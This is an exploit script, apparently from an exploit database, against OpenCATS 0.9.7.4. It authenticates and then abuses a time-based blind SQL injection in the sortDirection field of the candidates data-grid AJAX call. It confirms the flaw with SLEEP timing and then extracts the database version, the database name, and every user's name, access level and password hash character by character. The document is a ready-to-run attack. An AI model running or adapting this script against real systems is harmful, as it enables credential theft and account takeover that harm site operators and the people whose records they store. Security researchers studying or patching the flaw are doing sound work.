OpenCATS 0.9.7.4 – SQL Injection
# Exploit Title: OpenCATS 0.9.7.4 - SQL Injection # Exploit Author: Gabriel Rodrigues (TEXUGO) from HAKAI # Vendor Homepage: https://www.opencats.org # Software Link: https://github.com/opencats/OpenCATS # Version: <= 0.9.7.4 # Tested on: Ubuntu 22.04 / Apache2 / PHP / MariaDB 10.6 # CVE: N/A (GHSA-8mc8-5gw6-c7w4) import requests, json, sys, time url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8888" user = sys.argv[2] if len(sys.argv) > 2 else "admin" pw = sys.argv[3] if len(sys.argv) > 3 else "cats" delay = 1.5 s = requests.Session() s.get(f"{url}/index.php") s.post(f"{url}/index.php?m=login&a=attemptLogin", data={"username": user, "password": pw}, allow_redirects=True) def sqli(payload): t = time.time() s.get(f"{url}/ajax.php", timeout=30, params={"f": "getDataGridPager", "i": "candidates:candidatesListByViewDataGrid", "p": json.dumps({"sortBy": "dateModifiedSort", "sortDirection": payload, "rangeStart": 0, "maxResults": 15})}) return time.time() - t def blind(cond): return sqli(f"DESC,IF(({cond}),SLEEP({delay}),0)") > delay * 0.6 def extract(query, maxlen=100): out = "" for i in range(1, maxlen + 1): if blind(f"LENGTH({query})<{i}"): break lo, hi = 32, 126 while lo < hi: mid = (lo + hi) // 2 lo, hi = (mid + 1, hi) if blind(f"ORD(SUBSTRING({query},{i},1))>{mid}") else (lo, mid) out += chr(lo) return out base = sqli("DESC") slp = sqli("DESC,SLEEP(2)") print(f"baseline={base:.2f}s sleep(2)={slp:.2f}s") assert slp > base + 1, "not vulnerable or no candidate rows" print("injection confirmed\n") print("version:", extract("@@version", 30)) print("database:", extract("DATABASE()", 20)) n = int(extract("(SELECT COUNT(*) FROM user)", 3)) print(f"users: {n}\n") for i in range(n): name = extract(f"(SELECT user_name FROM user ORDER BY user_id LIMIT {i},1)", 40) level = extract(f"(SELECT access_level FROM user ORDER BY user_id LIMIT {i},1)", 5) hash_ = extract(f"(SELECT password FROM user ORDER BY user_id LIMIT {i},1)", 62) print(f" {name} level={level} hash={hash_}") |